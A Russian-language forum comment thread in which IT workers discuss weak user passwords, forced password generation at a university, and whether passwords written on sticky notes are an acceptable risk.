Имена и фамилии отличников. которые сегодня в 10 классе, через 5-7 лет на разных государственных должностях: инженеры, разработчики, физики-атомщики и т.д…
Количество идиотов на хабре зашкаливает.
Wesha
Работал я лет пять назад в одной компании, которая выдавала экстренные кредиты «до получки» (под бешеные проценты).
Во тогда ещё подумалось, что база данных этой компании — сокровище бесценное для иностранных разведок, если сколоть (join) её пофамильно со списком работников местного Министерства обороны, заводов, работающих с секретными заказами, и так далее…
subirdcom
Будет ivanovaa-2. У нашего учителя по информатике был подобный
Ohar
Пользователей не нужно инструктировать в таких вопросах. Им просто не надо давать никакого другого выбора, кроме смены пароля.
foboss
И они поставят! ох уж они поставят.
*****
маша
table
XX-XX-XX (городской телефон it-отдела)
и т.п.
Все примеры, включая 5 звездочек — с той поры, когда я работал в университете в отделе IT. В какой-то момент мы пришли к принудительной генерации логина на основе ФИО (ой, а я не помню что куда вбивать, это не мое и т.п.) и автоматического цифробуквенного пароля. Смена пароля — новая памятка с новым сгенерированным роботом паролем. И только так.
Ohar
Да лучше они такой поставят, чем у них ваш суперсложный мегапароль будет на бумажке записан и на мониторе приклеплён.
foboss
Многолетняя практика говорит об обратном.
Уж лучше они у себя на кафедре или дома будут с бумажкой/наклейкой — иначе спам/вирус-боты в легкую прорываются через защиту от брутфорса и начинают слать спам или звонить через шлюз IP-телефонии в страны с инопланетными кодами.
И да, от «бумажек на мониторе» необычайно эффективно помогает рассылка сводной таблицы посещенных сайтов в конце месяца по почте. Непонятные и ненужные аккаунты, моментально становятся предметом бдительного внимания как со стороны владельца (стыдно же), так и со стороны коллег (интересно же, чем сосед-бездельник занимается).